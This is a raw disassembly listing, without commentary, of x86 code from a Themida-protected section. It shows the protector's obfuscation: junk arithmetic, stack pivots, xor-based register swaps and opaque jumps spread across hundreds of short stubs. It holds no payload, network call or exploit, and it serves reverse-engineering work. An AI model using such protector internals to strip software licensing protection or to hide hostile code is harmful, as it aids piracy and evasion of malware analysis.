loc_5A769C: ; CODE XREF: Themida_:loc_5A5851j
; Themida_:005A6278j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A8422
; ---------------------------------------------------------------------------
loc_5A76B4: ; CODE XREF: Themida_:005A848Dj
mov ebx, 61FB6D05h
jmp loc_5A4064
; ---------------------------------------------------------------------------
loc_5A76BE: ; CODE XREF: Themida_:005A1391j
push 4C24h
mov [esp], edx
push eax
pushf
jmp loc_5AF0B1
; ---------------------------------------------------------------------------
loc_5A76CD: ; CODE XREF: Themida_:0059A91Cj
add edx, 4
xchg edx, [esp]
pop esp
xchg edi, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A76E3: ; CODE XREF: Themida_:005AD04Cj
add esi, edx
add esi, 76D50DABh
pop edx
jmp loc_5A148B
; ---------------------------------------------------------------------------
loc_5A76F1: ; CODE XREF: Themida_:005988A4j
sub eax, 4CD9627Ah
jmp loc_59C1C7
; ---------------------------------------------------------------------------
loc_5A76FB: ; CODE XREF: Themida_:005A794Cj
xchg ecx, [esp]
pop esp
push bp
xchg ax, [esp]
not ax
xchg ax, [esp]
mov bp, [esp]
push ecx
jmp loc_59FD43
; ---------------------------------------------------------------------------
loc_5A7716: ; CODE XREF: Themida_:005A25F4j
pop edi
xor edx, 0EC379275h
sub ecx, edx
pop edx
sub ecx, 1321064Bh
add ecx, ebp
jmp loc_5A8885
; ---------------------------------------------------------------------------
loc_5A772D: ; CODE XREF: Themida_:0059DD7Bj
add ebx, eax
push 7431h
mov [esp], edx
mov edx, 2F9F7511h
sub ebx, edx
pop edx
push esi
mov esi, 0F4F0D6Dh
jmp loc_5A9C00
; ---------------------------------------------------------------------------
loc_5A774A: ; CODE XREF: Themida_:005A83E6j
not ebx
jmp loc_5AB437
; ---------------------------------------------------------------------------
loc_5A7751: ; CODE XREF: Themida_:005ABD78j
and ebx, 7BF40681h
jmp loc_5A625C
; ---------------------------------------------------------------------------
loc_5A775C: ; CODE XREF: Themida_:005A12E0j
sub eax, 278E7559h
sub eax, ecx
add eax, 278E7559h
mov ecx, [esp]
push ecx
mov ecx, esp
jmp loc_5A3F6B
; ---------------------------------------------------------------------------
loc_5A7773: ; CODE XREF: Themida_:0059E26Ej
add esi, 22C8E3C7h
jmp loc_59DA25
; ---------------------------------------------------------------------------
loc_5A777E: ; CODE XREF: Themida_:005A434Bj
mov ebx, [esp]
add esp, 4
xor bl, al
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_59BBCD
; ---------------------------------------------------------------------------
loc_5A7794: ; CODE XREF: Themida_:0059CAECj
jmp loc_5A9E49
; ---------------------------------------------------------------------------
loc_5A7799: ; CODE XREF: Themida_:005AB97Fj
mov edi, [esp]
add esp, 4
xor ebp, 1526A184h
sub edx, ebp
pop ebp
sub edx, 728A3FF9h
add edx, eax
push ecx
push edi
mov edi, 5A9D2D0Fh
sub edi, 63EE48A8h
push ecx
jmp loc_5A03CB
; ---------------------------------------------------------------------------
loc_5A77C3: ; CODE XREF: Themida_:0059A5BEj
xor al, ch
pop ecx
sub esp, 4
mov [esp], edx
jmp loc_59CB6F
; ---------------------------------------------------------------------------
loc_5A77D1: ; CODE XREF: Themida_:005AE21Bj
mov edx, 6D1608B1h
inc edx
jo loc_59FBF7
sub edx, 44971BE5h
jnp loc_5A7AD4
xor edx, 7E5B4Dh
jl loc_598EC2
mov dl, cl
push esi
loc_5A77F8: ; CODE XREF: Themida_:0059BB03j
; Themida_:0059DD95j
add bl, ch
jmp loc_5A6234
; ---------------------------------------------------------------------------
loc_5A77FF: ; CODE XREF: Themida_:0059DF09j
sub dword ptr [edi+20h], 5C6011E6h
jmp loc_5A4BF8
; ---------------------------------------------------------------------------
loc_5A780B: ; CODE XREF: Themida_:005A5D0Fj
or eax, 91D4568h
jnz loc_59DB0F
push 6608h
mov [esp], esi
push eax
mov ebp, ebx
mov edi, edx
loc_5A7823: ; CODE XREF: Themida_:005A337Fj
; Themida_:005A83AAj
mov ah, bl
pop ebx
pop ecx
jmp loc_59ABD5
; ---------------------------------------------------------------------------
loc_5A782C: ; CODE XREF: Themida_:005A60ADj
add esp, 4
push esi
mov esi, esp
add esi, 4
jmp loc_5A3790
; ---------------------------------------------------------------------------
loc_5A7840: ; CODE XREF: Themida_:0059B1D1j
mov [esp], cx
mov cl, 72h
add al, cl
mov cx, [esp]
jmp loc_59F19A
; ---------------------------------------------------------------------------
loc_5A7851: ; CODE XREF: Themida_:0059CAD8j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A7856: ; CODE XREF: Themida_:005A6544j
mov edx, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_5A2384
; ---------------------------------------------------------------------------
loc_5A7870: ; CODE XREF: Themida_:005983B9j
; Themida_:005ACD0Aj
dec ebx
jp loc_5AE164
inc ebx
jno loc_59E0C7
add ebx, 583F9CBFh
jmp loc_5A6A25
; ---------------------------------------------------------------------------
and ecx, ebx
loc_5A788B: ; CODE XREF: Themida_:0059A0D5j
mov ebp, 30982E63h
xor [esp+4], ebp
mov ebp, [esp]
add esp, 4
mov ecx, [esp]
jmp loc_59D180
; ---------------------------------------------------------------------------
loc_5A78A2: ; CODE XREF: Themida_:005A3A51j
add ebx, 868D5FF1h
mov esi, ebx
pop ebx
jmp loc_5A148B
; ---------------------------------------------------------------------------
loc_5A78B0: ; CODE XREF: Themida_:005A3A2Cj
push ebx
push edx
push 13033889h
pop edx
sub edx, 39940AB4h
jnz loc_5ADD7F
shl edx, 5
jnz loc_5A342D
mov bl, ah
loc_5A78CF: ; CODE XREF: Themida_:005A22DEj
xor edx, 8B21CDFFh
push ebp
jmp loc_5A193A
; ---------------------------------------------------------------------------
loc_5A78DB: ; CODE XREF: Themida_:005A22EBj
; Themida_:005A908Fj
mov bx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
xor ch, dl
xor dl, ch
xor ch, dl
xchg al, dl
push eax
xchg al, [esp]
not al
xchg al, [esp]
mov eax, [esp]
add esp, 4
xchg al, dl
xchg dl, ch
push 238Ch
jmp loc_59DB7B
; ---------------------------------------------------------------------------
loc_5A7920: ; CODE XREF: Themida_:005AE4E1j
jmp loc_5AAFE4
; ---------------------------------------------------------------------------
loc_5A7925: ; CODE XREF: Themida_:005A8CF8j
xor ecx, ebx
pop ebx
sub esi, 4184393Eh
jmp loc_59B069
; ---------------------------------------------------------------------------
loc_5A7933: ; CODE XREF: Themida_:005AAA87j
xor ch, al
mov ax, [esp]
add esp, 2
add bh, ch
mov ecx, [esp]
jmp loc_5AE338
; ---------------------------------------------------------------------------
loc_5A7949: ; CODE XREF: Themida_:00598C09j
; Themida_:005A46DCj
add ecx, 2
jmp loc_5A76FB
; ---------------------------------------------------------------------------
loc_5A7951: ; CODE XREF: Themida_:005A6B79j
push 15FBh
mov [esp], esi
jmp loc_5A943B
; ---------------------------------------------------------------------------
loc_5A795E: ; CODE XREF: Themida_:0059CC7Cj
pop dword ptr [esp]
mov esp, [esp]
push ecx
not dword ptr [esp]
mov ecx, [esp]
jmp loc_5ACBBE
; ---------------------------------------------------------------------------
loc_5A7970: ; CODE XREF: Themida_:005A7B48j
add ecx, 30614080h
or ecx, 9912394h
jmp loc_59B2BF
; ---------------------------------------------------------------------------
loc_5A7981: ; CODE XREF: Themida_:005A70A4j
mov ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_59B8BA
; ---------------------------------------------------------------------------
loc_5A7991: ; CODE XREF: Themida_:005AB26Bj
mov esp, [esp]
sub esp, 4
mov [esp], ecx
push edx
mov edx, 5591E80h
mov ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
dec ecx
push ebx
mov ebx, 50055733h
xor ebx, 5D1C2DDAh
jmp loc_5988D9
; ---------------------------------------------------------------------------
loc_5A79C1: ; CODE XREF: Themida_:005A6A48j
mov ecx, 4762653Eh
push eax
push ecx
push 52A315D8h
pop ecx
jmp loc_5A39AF
; ---------------------------------------------------------------------------
loc_5A79D3: ; CODE XREF: Themida_:005ABDDAj
xor ecx, 72E4326Bh
sub esi, ecx
jmp loc_598868
; ---------------------------------------------------------------------------
loc_5A79E0: ; CODE XREF: Themida_:005AAC5Aj
add edi, 78B63B7Ah
add edi, esi
sub edi, 78B63B7Ah
mov esi, [esp]
push edx
mov edx, esp
jmp loc_5988E3
; ---------------------------------------------------------------------------
loc_5A79F9: ; CODE XREF: Themida_:0059F2E0j
mov ebp, ebx
jmp loc_5A61D4
; ---------------------------------------------------------------------------
loc_5A7A00: ; CODE XREF: Themida_:005A7DE6j
push 13F6h
jmp loc_5AB0EF
; ---------------------------------------------------------------------------
loc_5A7A0A: ; CODE XREF: Themida_:0059DDE7j
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], esp
push ebx
jmp loc_5AD051
; ---------------------------------------------------------------------------
loc_5A7A23: ; CODE XREF: Themida_:0059CE69j
mov eax, 0F1C748Bh
add eax, 3A10743Bh
shl eax, 8
jmp loc_5A66D5
; ---------------------------------------------------------------------------
loc_5A7A35: ; CODE XREF: Themida_:0059E2B0j
mov ah, 70h
jmp loc_5A5CE9
; ---------------------------------------------------------------------------
loc_5A7A3C: ; CODE XREF: Themida_:0059E2D5j
xchg eax, [esp]
jmp loc_598FCD
; ---------------------------------------------------------------------------
loc_5A7A44: ; CODE XREF: Themida_:005A93BDj
pop ebx
push ebx
mov ebx, esp
jmp loc_5AC3E4
; ---------------------------------------------------------------------------
loc_5A7A4D: ; CODE XREF: Themida_:0059E763j
or ah, 0E6h
dec ah
add ah, 5Bh
xor dh, ah
jmp loc_59F40D
; ---------------------------------------------------------------------------
loc_5A7A5C: ; CODE XREF: Themida_:005A0ADEj
jmp loc_5A2E3F
; ---------------------------------------------------------------------------
loc_5A7A61: ; CODE XREF: Themida_:005A19E2j
sub ebx, 140148EAh
xor ebx, 343970E5h
jz loc_5A49A3
sub ebx, 66CE398Dh
or ebx, 51FE5C76h
jnp loc_5A1B15
push ebp
jmp loc_59BC13
; ---------------------------------------------------------------------------
loc_5A7A8B: ; CODE XREF: Themida_:005A088Aj
xor edx, [esp]
pop esp
mov [esp], esi
jmp loc_5A2CAA
; ---------------------------------------------------------------------------
loc_5A7A97: ; CODE XREF: Themida_:005A2D76j
mov ecx, 6156DF1h
mov ebx, ecx
jmp loc_5A1A26
; ---------------------------------------------------------------------------
loc_5A7AA3: ; CODE XREF: Themida_:005A97F3j
push ebx
jmp loc_5A676C
; ---------------------------------------------------------------------------
loc_5A7AA9: ; CODE XREF: Themida_:005A8BCEj
add edx, 35EE7308h
push eax
mov eax, 0A421F4Fh
add edx, eax
jmp loc_5A0E1B
; ---------------------------------------------------------------------------
loc_5A7ABC: ; CODE XREF: Themida_:005A2E9Aj
pop esp
push 562Fh
jmp loc_5AC7CF
; ---------------------------------------------------------------------------
loc_5A7AC7: ; CODE XREF: Themida_:0059E7C9j
push edi
mov edi, 6B0266A2h
inc edi
push ecx
jmp loc_5A2E77
; ---------------------------------------------------------------------------
loc_5A7AD4: ; CODE XREF: Themida_:005A77E3j
xor edx, 7E5B4Dh
jl loc_59BF4D
jmp loc_59E1BB
; ---------------------------------------------------------------------------
loc_5A7AE5: ; CODE XREF: Themida_:0059C967j
pop ecx
push esi
mov esi, 0B63778Ch
push edi
mov edi, 7597038Bh
and esi, edi
pop edi
sub esi, 0ED50EA2h
shl esi, 7
jmp loc_5A1B94
; ---------------------------------------------------------------------------
loc_5A7B03: ; CODE XREF: Themida_:005AA535j
add ebx, ecx
jmp loc_5AA339
; ---------------------------------------------------------------------------
loc_5A7B0A: ; CODE XREF: Themida_:005A3E1Dj
add ebx, ebp
pop ebp
sub ebx, 0FFFFFFFFh
xor ebx, 4D23F53Bh
xor esi, ebx
jmp loc_5986D6
; ---------------------------------------------------------------------------
loc_5A7B1D: ; CODE XREF: Themida_:0059849Cj
add esp, 4
jmp loc_59A602
; ---------------------------------------------------------------------------
loc_5A7B25: ; CODE XREF: Themida_:005A4C98j
push ebx
jmp loc_5A75FD
; ---------------------------------------------------------------------------
loc_5A7B2B: ; CODE XREF: Themida_:0059D4F3j
xor ebx, eax
sub esp, 4
mov [esp], edi
push 18DF592Ah
push dword ptr [esp]
pop edi
add esp, 4
push ecx
mov ecx, 0E384470h
jmp loc_5A7970
; ---------------------------------------------------------------------------
xchg cl, [esp]
push ebx
mov bl, cl
jmp loc_5A38D5
; ---------------------------------------------------------------------------
loc_5A7B58: ; CODE XREF: Themida_:005A9F8Fj
or ebp, 49694785h
jo loc_5A218C
neg ebp
jz loc_5AD3FD
sub ebp, 5EF894E5h
mov edx, ebp
mov ebp, [esp]
jmp loc_5A260E
; ---------------------------------------------------------------------------
loc_5A7B7C: ; CODE XREF: Themida_:0059D95Aj
add edx, 1C083D7Ah
push edx
jmp loc_5A6860
; ---------------------------------------------------------------------------
loc_5A7B88: ; CODE XREF: Themida_:00599810j
; Themida_:0059ED30j
pop ebx
jmp loc_59D553
; ---------------------------------------------------------------------------
loc_5A7B8E: ; CODE XREF: Themida_:0059E807j
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_59FDD4
; ---------------------------------------------------------------------------
loc_5A7B9E: ; CODE XREF: Themida_:005A82FDj
mov [esp], edi
push 4B8C4852h
pop edi
push eax
mov eax, 5605768Fh
neg eax
sub eax, 858B4808h
or edi, eax
pop eax
xor edi, 2B106C02h
add ebp, edi
mov edi, [esp]
add esp, 4
sub ebp, eax
sub ebp, 44FF2579h
pop eax
jmp loc_59B0F1
; ---------------------------------------------------------------------------
loc_5A7BD3: ; CODE XREF: Themida_:005AA911j
add esi, ecx
pop ecx
add edx, esi
mov esi, [esp]
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A7BE6: ; CODE XREF: Themida_:005ACD4Fj
add edi, 0E04BC479h
push 7C5h
mov [esp], ebx
mov ebx, edi
mov eax, ebx
mov ebx, [esp]
add esp, 4
mov edi, [esp]
add esp, 4
add ebx, eax
jmp loc_59B28B
; ---------------------------------------------------------------------------
loc_5A7C0E: ; CODE XREF: Themida_:0059CB4Ej
pop ebp
xor ebp, 7D4103A0h
jmp loc_5987CE
; ---------------------------------------------------------------------------
loc_5A7C1A: ; CODE XREF: Themida_:0059EFFBj
sub al, cl
push edx
mov dl, 0C0h
shl dl, 7
or dl, 0B0h
neg dl
not dl
inc dl
add dl, 8Ah
add al, dl
pop edx
pop ecx
sub al, bl
sub esp, 4
jmp loc_59DF6E
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_59FF6C
; ---------------------------------------------------------------------------
loc_5A7C4A: ; CODE XREF: Themida_:0059CB85j
add edx, 4
jmp loc_598AD2
; ---------------------------------------------------------------------------
loc_5A7C52: ; CODE XREF: Themida_:005A8F33j
dec ch
push 47C3h
mov [esp], ebx
mov bl, 18h
push 0
jmp loc_5AAEE7
; ---------------------------------------------------------------------------
loc_5A7C68: ; CODE XREF: Themida_:005A9430j
push 20A9h
mov [esp], esi
push 4D51h
mov [esp], esp
push edx
mov edx, 4
add [esp+4], edx
pop edx
pop esi
jmp loc_5A0A98
; ---------------------------------------------------------------------------
loc_5A7C89: ; CODE XREF: Themida_:005A2624j
; Themida_:005AF270j
pop edx
jmp loc_5A1191
; ---------------------------------------------------------------------------
loc_5A7C8F: ; CODE XREF: Themida_:005A8AC2j
pop esi
push ebx
push edi
mov edi, 2760B40h
jmp loc_5A51E2
; ---------------------------------------------------------------------------
loc_5A7C9C: ; CODE XREF: Themida_:005AF42Cj
mov ebx, eax
pop eax
mov esi, ebx
mov ebx, [esp]
add esp, 4
push edi
mov edi, 34C07FA1h
xor esi, edi
pop edi
push ecx
mov ecx, 41386CD7h
jmp loc_5A2377
; ---------------------------------------------------------------------------
loc_5A7CBE: ; CODE XREF: Themida_:0059E936j
add esp, 2
jmp loc_5A3A14
; ---------------------------------------------------------------------------
loc_5A7CC6: ; CODE XREF: Themida_:00599639j
mov esi, 51F9307Dh
jmp loc_59C6C9
; ---------------------------------------------------------------------------
loc_5A7CD0: ; CODE XREF: Themida_:0059B064j
mov ecx, [esp]
add esp, 4
jmp loc_5A4E6E
; ---------------------------------------------------------------------------
loc_5A7CDB: ; CODE XREF: Themida_:0059EF7Aj
mov ebx, 33017BC8h
jmp loc_598983
; ---------------------------------------------------------------------------
loc_5A7CE5: ; CODE XREF: Themida_:0059A3FFj
pop esi
shl ecx, 8
jmp loc_5A5041
; ---------------------------------------------------------------------------
loc_5A7CEE: ; CODE XREF: Themida_:005A4FDFj
jo loc_5A96FC
jmp loc_5A1FD8
; ---------------------------------------------------------------------------
loc_5A7CF9: ; CODE XREF: Themida_:005A5A25j
pop edx
add esp, 4
sub ebx, ebp
mov ebp, [esp]
jmp loc_5A6104
; ---------------------------------------------------------------------------
loc_5A7D0A: ; CODE XREF: Themida_:005A4D85j
pop ebp
jmp loc_5A6B4D
; ---------------------------------------------------------------------------
loc_5A7D10: ; CODE XREF: Themida_:005AEA93j
jmp loc_5A966D
; ---------------------------------------------------------------------------
loc_5A7D15: ; CODE XREF: Themida_:0059C9CEj
jns loc_598FA3
add edx, 481625D6h
xor eax, edx
push dword ptr [esp]
pop edx
push esi
loc_5A7D28: ; CODE XREF: Themida_:005AE780j
add ebp, edx
push ebx
mov ebx, 20760BFDh
sub ebp, ebx
pop ebx
jmp loc_59EC32
; ---------------------------------------------------------------------------
loc_5A7D38: ; CODE XREF: Themida_:005A0A77j
; Themida_:005A871Cj
jmp loc_5A9D7F
; ---------------------------------------------------------------------------
loc_5A7D3D: ; CODE XREF: Themida_:005A1828j
push esp
pop ebx
push ecx
mov ecx, 4
jmp loc_5A8056
; ---------------------------------------------------------------------------
loc_5A7D4A: ; CODE XREF: Themida_:005A4C73j
add ebx, edx
push 8D6h
jmp loc_59AC09
; ---------------------------------------------------------------------------
loc_5A7D56: ; CODE XREF: Themida_:0059AA69j
; Themida_:005A4227j
push edi
mov edi, esp
jmp loc_5ABF07
; ---------------------------------------------------------------------------
loc_5A7D5E: ; CODE XREF: Themida_:loc_5AD73Cj
inc bh
jmp loc_5A5851
; ---------------------------------------------------------------------------
loc_5A7D65: ; CODE XREF: Themida_:005996D2j
; Themida_:005A336Aj
push esi
jmp loc_59B7FB
; ---------------------------------------------------------------------------
loc_5A7D6B: ; CODE XREF: Themida_:0059FA2Fj
; Themida_:005A2F5Cj
inc bl
push edx
jmp loc_59CBE4
; ---------------------------------------------------------------------------
loc_5A7D73: ; CODE XREF: Themida_:005A288Dj
xor esi, 3FDB78F1h
jmp loc_5991D7
; ---------------------------------------------------------------------------
loc_5A7D7E: ; CODE XREF: Themida_:00599ABBj
add esp, 2
jmp loc_5A6DFB
; ---------------------------------------------------------------------------
loc_5A7D86: ; CODE XREF: Themida_:005A49AFj
; Themida_:005A54A8j ...
push esi
push eax
mov eax, 7610C38h
sub eax, 6DB04AEAh
neg eax
shl eax, 2
or eax, 4317A0Eh
push ecx
jmp loc_5AA5AE
; ---------------------------------------------------------------------------
loc_5A7DA2: ; CODE XREF: Themida_:00599011j
mov [esp], ecx
jmp loc_59FBD6
; ---------------------------------------------------------------------------
loc_5A7DAA: ; CODE XREF: Themida_:005AD2F1j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A7DAF: ; CODE XREF: Themida_:0059987Fj
sub esi, ecx
pop ecx
push ebp
push esi
pop ebp
mov eax, ebp
pop ebp
mov esi, [esp]
add esp, 4
inc eax
push edi
jmp loc_5AAAD1
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
push 1BDCh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
add ebx, 4
jmp loc_5A7A00
; ---------------------------------------------------------------------------
loc_5A7DEB: ; CODE XREF: Themida_:005AB76Dj
pop ebx
add eax, 7F9C4AC4h
push dword ptr [esp]
jmp loc_5A6202
; ---------------------------------------------------------------------------
loc_5A7DF9: ; CODE XREF: Themida_:loc_598CC4j
sub ecx, 0E743D3C1h
mov edi, ecx
pop ecx
sub ebp, edi
mov edi, [esp]
jmp loc_5A0815
; ---------------------------------------------------------------------------
loc_5A7E0C: ; CODE XREF: Themida_:loc_5AD498j
and ebx, 7ACA5BD5h
jns loc_5AEBE1
jmp loc_59A581
; ---------------------------------------------------------------------------
sub [esp+0Ch], edi
pop edi
pop ebx
loc_5A7E23: ; CODE XREF: Themida_:005ABDE6j
not edi
sub edi, 7CEEE05Ch
neg edi
shl edi, 4
jmp loc_59F047
; ---------------------------------------------------------------------------
loc_5A7E35: ; CODE XREF: Themida_:005A405Fj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
pop eax
jmp loc_5A8D42
; ---------------------------------------------------------------------------
loc_5A7E48: ; CODE XREF: Themida_:005A15DBj
pop ebx
xor ebx, 651B092Dh
pop eax
or ebx, 768F500Ah
shr ebx, 5
push ebx
not dword ptr [esp]
pop ebx
sub ebx, 0FC490404h
add ecx, ebx
pop ebx
push edi
mov edi, 4
sub ecx, 5E502F52h
sub ecx, edi
add ecx, 5E502F52h
jmp loc_59D7AF
; ---------------------------------------------------------------------------
loc_5A7E80: ; CODE XREF: Themida_:005A8FE7j
; Themida_:005AC537j
push ebx
mov bh, 31h
push 0
sub [esp], bh
mov bh, [esp]
add esp, 4
xor bh, 4Fh
push edx
mov dh, 47h
xor bh, dh
pop edx
or ah, bh
pop ebx
sub ah, 26h
xor dh, ah
pop eax
mov ch, dh
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_5A8E0B
; ---------------------------------------------------------------------------
loc_5A7EB6: ; CODE XREF: Themida_:005AED83j
neg bh
dec bh
xor bh, 0D7h
jle loc_5AC674
jmp loc_5AE128
; ---------------------------------------------------------------------------
loc_5A7EC8: ; CODE XREF: Themida_:005ABD6Dj
mov bh, 9Ah
push ecx
jmp loc_59F951
; ---------------------------------------------------------------------------
loc_5A7ED0: ; CODE XREF: Themida_:005A2DC8j
; Themida_:005A5927j
push ebx
mov ebx, 71D64EFDh
not ebx
push eax
push ecx
jmp loc_5AB0E5
; ---------------------------------------------------------------------------
loc_5A7EDF: ; CODE XREF: Themida_:005ABC19j
pop eax
xor esi, ebp
jmp loc_5A1887
; ---------------------------------------------------------------------------
loc_5A7EE7: ; CODE XREF: Themida_:005A073Fj
mov [esp], ebx
push 524B5129h
jmp loc_5ACC0D
; ---------------------------------------------------------------------------
loc_5A7EF4: ; CODE XREF: Themida_:0059E7AEj
add edx, esi
add edx, 275A3024h
mov esi, [esp]
jmp loc_5A4481
; ---------------------------------------------------------------------------
loc_5A7F04: ; CODE XREF: Themida_:005A9C68j
mov ecx, 1A4E273Bh
jmp loc_5A357B
; ---------------------------------------------------------------------------
loc_5A7F0E: ; CODE XREF: Themida_:005A3686j
jmp loc_5A8B34
; ---------------------------------------------------------------------------
loc_5A7F13: ; CODE XREF: Themida_:0059DB58j
; Themida_:005AA1FEj
sub eax, 78C43B9Bh
add eax, ebp
add eax, 78C43B9Bh
add eax, 14FB6FCDh
push esi
push eax
mov eax, 6AF76405h
mov esi, eax
pop eax
jmp loc_5A084D
; ---------------------------------------------------------------------------
loc_5A7F33: ; CODE XREF: Themida_:005A7345j
add ecx, 2E4B3D33h
add ecx, ebx
sub ecx, 2E4B3D33h
add ecx, 3AD91FFFh
pop ebx
add ecx, 4
push 4A26h
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A4A90
; ---------------------------------------------------------------------------
loc_5A7F68: ; CODE XREF: Themida_:005A95B8j
add ecx, ebx
pop ebx
push ebx
mov ebx, 9D57162h
jmp loc_59C9F7
; ---------------------------------------------------------------------------
loc_5A7F76: ; CODE XREF: Themida_:005AF083j
sub esp, 4
jmp loc_5A308D
; ---------------------------------------------------------------------------
loc_5A7F81: ; CODE XREF: Themida_:0059EEABj
mov eax, 0A002C24h
sub edx, eax
pop eax
add ebx, edx
pop edx
add ebx, 4
xor ebx, [esp]
jmp loc_59E840
; ---------------------------------------------------------------------------
loc_5A7F97: ; CODE XREF: Themida_:005A7591j
push ebp
push esp
pop ebp
push 5F66h
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_59EFB6
; ---------------------------------------------------------------------------
loc_5A7FB5: ; CODE XREF: Themida_:005AF4BBj
mov [esp], esi
mov esi, 4
add ebp, esi
jmp loc_5ABB01
; ---------------------------------------------------------------------------
loc_5A7FC4: ; CODE XREF: Themida_:005988E4j
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_59B44B
; ---------------------------------------------------------------------------
loc_5A7FD1: ; CODE XREF: Themida_:005A1EAFj
or eax, 1B6B7971h
add eax, 29A2E7Fh
jmp loc_59CA9D
; ---------------------------------------------------------------------------
loc_5A7FE0: ; CODE XREF: Themida_:005A5CF2j
xor ah, ch
pop ecx
jmp loc_5A1D2E
; ---------------------------------------------------------------------------
loc_5A7FE8: ; CODE XREF: Themida_:005AC5CDj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_5ABA95
; ---------------------------------------------------------------------------
loc_5A7FF9: ; CODE XREF: Themida_:005A122Fj
mov [esp], ecx
jmp loc_5A98E0
; ---------------------------------------------------------------------------
loc_5A8001: ; CODE XREF: Themida_:005AC51Dj
xor ebx, ecx
pop ecx
jmp loc_59C557
; ---------------------------------------------------------------------------
loc_5A8009: ; CODE XREF: Themida_:0059F81Fj
sub ebx, eax
pop eax
jmp loc_599F74
; ---------------------------------------------------------------------------
loc_5A8011: ; CODE XREF: Themida_:005A740Aj
mov edx, [esp]
jmp loc_5A3E8E
; ---------------------------------------------------------------------------
loc_5A8019: ; CODE XREF: Themida_:005A9BB0j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push 2600h
mov [esp], eax
push 35DEh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
add eax, 4
push edx
mov edx, 4
jmp loc_5A8942
; ---------------------------------------------------------------------------
loc_5A804B: ; CODE XREF: Themida_:0059D392j
or ebp, 55F941D8h
jmp loc_5ABA62
; ---------------------------------------------------------------------------
loc_5A8056: ; CODE XREF: Themida_:005A7D45j
add ebx, 572B46FBh
add ebx, ecx
jmp loc_599915
; ---------------------------------------------------------------------------
loc_5A8063: ; CODE XREF: Themida_:005A71A3j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
mov eax, edx
push ebp
mov ebp, eax
jmp loc_5A39CD
; ---------------------------------------------------------------------------
loc_5A8077: ; CODE XREF: Themida_:005ADF4Dj
or dl, 0E1h
add dl, 0C2h
sub cl, dl
pop edx
inc cl
jle loc_599294
add cl, 0D7h
jmp loc_5A1506
; ---------------------------------------------------------------------------
loc_5A8090: ; CODE XREF: Themida_:loc_5AAD9Ej
shr ebx, 3
sub ebx, 0FFFFFFFFh
push eax
jmp loc_59E159
; ---------------------------------------------------------------------------
loc_5A809C: ; CODE XREF: Themida_:0059B633j
add ebx, 4E48687Eh
jp loc_599AD6
and ebx, 483A0113h
js loc_5A4FAF
shr ebx, 2
jnp loc_59F888
not ebx
jmp loc_59A4FE
; ---------------------------------------------------------------------------
loc_5A80C4: ; CODE XREF: Themida_:loc_59CA20j
sub edx, 1C026C0Fh
jmp loc_599152
; ---------------------------------------------------------------------------
loc_5A80CF: ; CODE XREF: Themida_:005AE011j
xor eax, 50657ED6h
jmp loc_5A4DD5
; ---------------------------------------------------------------------------
loc_5A80D9: ; CODE XREF: Themida_:005A5E71j
pop ebp
sub ebx, 2EDC52ECh
add ebx, ecx
jmp loc_59D462
; ---------------------------------------------------------------------------
loc_5A80E7: ; CODE XREF: Themida_:005A3E69j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], edi
push 0C4D5F69h
pop edi
sub edi, 0A654E963h
mov edx, edi
pop edi
xor edx, 65F87602h
add eax, edx
jmp loc_59AE43
; ---------------------------------------------------------------------------
loc_5A810F: ; CODE XREF: Themida_:005A417Fj
xor ebp, 3299EFB1h
sub ebx, 4CAF4F3Ch
add ebx, ebp
jmp loc_59B079
; ---------------------------------------------------------------------------
loc_5A8122: ; CODE XREF: Themida_:005AEAB2j
jz loc_59AECE
add ebx, 1FC09A3h
jnz loc_5A3950
shl ebx, 5
jmp loc_5A3912
; ---------------------------------------------------------------------------
push ebp
push ecx
push esi
lodsd
jmp loc_59D5E7
; ---------------------------------------------------------------------------
loc_5A8145: ; CODE XREF: Themida_:005AD56Aj
xchg ebp, [esp]
not ebp
xchg ebp, [esp]
mov edi, [esp]
jmp loc_5AA835
; ---------------------------------------------------------------------------
loc_5A8155: ; CODE XREF: Themida_:005A7180j
mov eax, 332D3C9Bh
sub dword ptr [esp+4], 338B2AF5h
jmp loc_5AAE89
; ---------------------------------------------------------------------------
loc_5A8167: ; CODE XREF: Themida_:005A6F5Dj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
dec ebx
jmp loc_5A5E62
; ---------------------------------------------------------------------------
loc_5A817B: ; CODE XREF: Themida_:005A3EF9j
push dword ptr [esp]
pop edx
add esp, 4
push ebp
mov ebp, esp
sub esp, 4
jmp loc_59A376
; ---------------------------------------------------------------------------
loc_5A818D: ; CODE XREF: Themida_:00599E9Ej
shl word ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A8197: ; CODE XREF: Themida_:005A66DCj
pop eax
jmp loc_59DA43
; ---------------------------------------------------------------------------
